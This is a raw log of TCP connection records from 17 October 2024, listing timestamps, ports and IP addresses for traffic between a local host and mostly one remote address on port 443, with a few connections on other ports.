Oct 17, 2024 18:18:34.736871958 CEST	50274	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.736907959 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.737443924 CEST	50274	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.737449884 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.750226021 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.750274897 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.750333071 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.750359058 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.750401020 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.750431061 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.750543118 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.750588894 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.750761032 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.750777006 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.750787020 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.750792027 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.758636951 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.758697987 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.758827925 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.758836031 CEST	50264	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.758940935 CEST	50264	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.776505947 CEST	50264	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.776505947 CEST	50264	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.776532888 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.776544094 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.785120010 CEST	50338	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.785187006 CEST	443	50338	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.785389900 CEST	50338	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.785566092 CEST	50338	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.785582066 CEST	443	50338	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.787714005 CEST	50339	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.787775993 CEST	443	50339	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.787888050 CEST	50339	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.788515091 CEST	50339	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.788536072 CEST	443	50339	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.873428106 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.873450994 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.873509884 CEST	50274	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.873547077 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.873796940 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.873853922 CEST	50274	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.880306005 CEST	50274	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.880328894 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.880369902 CEST	50274	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.880376101 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.892698050 CEST	50345	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.892745018 CEST	443	50345	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.892812967 CEST	50345	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.898819923 CEST	50345	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.898843050 CEST	443	50345	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.283476114 CEST	443	50313	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.288805008 CEST	50313	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.288840055 CEST	443	50313	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.289520025 CEST	50313	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.289527893 CEST	443	50313	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.424928904 CEST	443	50313	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.425076008 CEST	443	50313	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.425138950 CEST	50313	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.426106930 CEST	50313	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.426162958 CEST	443	50313	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.426197052 CEST	50313	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.426215887 CEST	443	50313	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.430239916 CEST	50376	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.430300951 CEST	443	50376	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.430382013 CEST	50376	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.431341887 CEST	50376	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.431370974 CEST	443	50376	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.479645014 CEST	443	50333	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.487298965 CEST	50333	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.487337112 CEST	443	50333	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.487763882 CEST	50333	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.487770081 CEST	443	50333	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.536465883 CEST	443	50338	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.538940907 CEST	50338	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.538971901 CEST	443	50338	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.539424896 CEST	50338	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.539431095 CEST	443	50338	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.546597004 CEST	443	50339	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.547205925 CEST	50339	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.547286987 CEST	443	50339	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.547638893 CEST	50339	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.547652960 CEST	443	50339	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.605772018 CEST	50393	21	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:35.620016098 CEST	443	50333	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.620114088 CEST	443	50333	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.620245934 CEST	50333	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.624830961 CEST	50333	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.624852896 CEST	443	50333	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.624866962 CEST	50333	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.624871969 CEST	443	50333	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.631196976 CEST	50394	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.631225109 CEST	443	50394	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.631387949 CEST	50394	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.633306980 CEST	50394	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.633320093 CEST	443	50394	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.665981054 CEST	443	50345	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.666378021 CEST	50345	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.666393042 CEST	443	50345	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.666966915 CEST	50345	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.666971922 CEST	443	50345	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.671138048 CEST	443	50338	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.672080040 CEST	443	50338	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.672179937 CEST	50338	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.672204018 CEST	50338	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.672218084 CEST	443	50338	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.672226906 CEST	50338	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.672230959 CEST	443	50338	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.679981947 CEST	50398	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.680038929 CEST	443	50398	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.680124998 CEST	50398	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.680383921 CEST	50398	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.680398941 CEST	443	50398	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.684779882 CEST	443	50339	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.684850931 CEST	443	50339	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.684967041 CEST	50339	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.685218096 CEST	50339	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.685240030 CEST	443	50339	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.685252905 CEST	50339	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.685260057 CEST	443	50339	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.705434084 CEST	50401	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.705493927 CEST	443	50401	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.705665112 CEST	50401	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.705842972 CEST	50401	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.705859900 CEST	443	50401	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.809139013 CEST	443	50345	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.809294939 CEST	443	50345	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.809711933 CEST	50345	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.830125093 CEST	50345	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.830125093 CEST	50345	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.830162048 CEST	443	50345	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.830173969 CEST	443	50345	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.845793009 CEST	50415	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.845844984 CEST	443	50415	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:35.845902920 CEST	50415	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.846267939 CEST	50415	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:35.846281052 CEST	443	50415	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.179506063 CEST	443	50376	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.180463076 CEST	50376	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.180490017 CEST	443	50376	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.181122065 CEST	50376	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.181127071 CEST	443	50376	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.348164082 CEST	443	50376	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.348268032 CEST	443	50376	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.348356962 CEST	50376	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.358227015 CEST	50376	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.358269930 CEST	443	50376	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.401531935 CEST	50488	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.401618958 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.402770996 CEST	50488	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.410845995 CEST	50488	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.410897017 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.471829891 CEST	443	50394	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.507348061 CEST	443	50401	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.515208960 CEST	443	50398	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.557863951 CEST	50398	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.578779936 CEST	50394	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.578810930 CEST	443	50394	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.579526901 CEST	50394	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.579533100 CEST	443	50394	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.584491968 CEST	50401	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.584511042 CEST	443	50401	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.585167885 CEST	50401	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.585175991 CEST	443	50401	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.585598946 CEST	50398	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.585604906 CEST	443	50398	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.586067915 CEST	50398	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.586076975 CEST	443	50398	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.639174938 CEST	443	50415	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.667107105 CEST	50393	21	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:36.673393011 CEST	50415	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.673412085 CEST	443	50415	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.674056053 CEST	50415	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.674063921 CEST	443	50415	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.725617886 CEST	443	50401	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.726442099 CEST	443	50401	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.726597071 CEST	50401	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.730336905 CEST	443	50398	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.730438948 CEST	443	50398	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.730676889 CEST	50398	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.781948090 CEST	443	50394	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.782031059 CEST	443	50394	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.782134056 CEST	50394	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:36.880696058 CEST	443	50415	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.880780935 CEST	443	50415	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:36.882236004 CEST	50415	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.101361036 CEST	50401	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.101406097 CEST	443	50401	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.101425886 CEST	50401	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.101435900 CEST	443	50401	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.102216959 CEST	50415	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.102216959 CEST	50415	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.102240086 CEST	443	50415	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.102252007 CEST	443	50415	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.103657007 CEST	50398	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.103662968 CEST	443	50398	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.103677988 CEST	50398	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.103682995 CEST	443	50398	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.104136944 CEST	50394	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.104162931 CEST	443	50394	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.104176998 CEST	50394	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.104183912 CEST	443	50394	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.139791012 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.153424025 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:37.153517008 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.154298067 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.169202089 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:37.171094894 CEST	50567	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.171123028 CEST	443	50567	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.171180010 CEST	50567	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.194858074 CEST	50567	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.194870949 CEST	443	50567	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.213325977 CEST	50570	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.213370085 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.214323044 CEST	50570	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.221678019 CEST	50573	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.221730947 CEST	443	50573	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.223906994 CEST	50573	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.224317074 CEST	50570	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.224339008 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.231969118 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.234179974 CEST	50573	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.234196901 CEST	443	50573	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.239666939 CEST	50574	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.239713907 CEST	443	50574	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.242671967 CEST	50574	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.242671967 CEST	50574	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.242733002 CEST	443	50574	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.253798008 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:37.348340988 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.362595081 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:37.493212938 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.517363071 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.526398897 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:37.533250093 CEST	50488	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.533283949 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.533706903 CEST	50488	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.533713102 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.635278940 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.685386896 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:37.711900949 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.711932898 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.711993933 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.711992979 CEST	50488	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.712042093 CEST	50488	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.712872028 CEST	50488	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.712899923 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.712913990 CEST	50488	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.712920904 CEST	443	50488	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.769015074 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.770395041 CEST	50606	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.770442963 CEST	443	50606	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.770522118 CEST	50606	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.772042036 CEST	50606	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:37.772067070 CEST	443	50606	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:37.774761915 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:37.892307997 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.928352118 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:37.942742109 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:37.942795992 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.942851067 CEST	50559	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:37.953115940 CEST	19370	50559	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:38.079933882 CEST	443	50567	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.085840940 CEST	50567	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.085869074 CEST	443	50567	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.086697102 CEST	50567	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.086707115 CEST	443	50567	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.302697897 CEST	443	50574	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.303925037 CEST	50574	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.303951025 CEST	443	50574	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.303977013 CEST	443	50567	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.304038048 CEST	443	50567	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.304105043 CEST	50567	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.304419994 CEST	50574	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.304429054 CEST	443	50574	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.305188894 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.305454016 CEST	443	50573	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.305581093 CEST	50570	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.305603027 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.305973053 CEST	50570	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.305984974 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.309303045 CEST	50567	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.309334040 CEST	443	50567	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.309350014 CEST	50567	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.309355974 CEST	443	50567	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.310895920 CEST	50573	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.310920954 CEST	443	50573	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.311325073 CEST	50573	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.311335087 CEST	443	50573	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.330992937 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.331033945 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.331290007 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.331437111 CEST	50637	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.331455946 CEST	443	50637	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.605465889 CEST	50658	19490	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:38.801136971 CEST	443	50574	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.801212072 CEST	443	50574	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.801383972 CEST	50574	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.801940918 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.801964998 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.802004099 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.802020073 CEST	50570	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.802057028 CEST	50570	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.802251101 CEST	443	50573	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.802314043 CEST	443	50573	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.802440882 CEST	50573	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.816232920 CEST	50574	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.816262007 CEST	443	50574	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.816288948 CEST	50574	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.816294909 CEST	443	50574	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.816648960 CEST	50570	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.816668034 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.816682100 CEST	50570	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.816689014 CEST	443	50570	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.816792965 CEST	50573	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.816792965 CEST	50573	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.816802979 CEST	443	50573	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.816814899 CEST	443	50573	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.825408936 CEST	50675	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.825447083 CEST	443	50675	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.825498104 CEST	50675	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.828022003 CEST	50675	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.828038931 CEST	443	50675	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.829396009 CEST	50676	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.829433918 CEST	443	50676	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.829487085 CEST	50676	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.829740047 CEST	50676	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.829751968 CEST	443	50676	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.836607933 CEST	50677	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.836647034 CEST	443	50677	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:38.836726904 CEST	50677	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.837397099 CEST	50677	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:38.837414026 CEST	443	50677	13.107.246.45	192.168.2.6
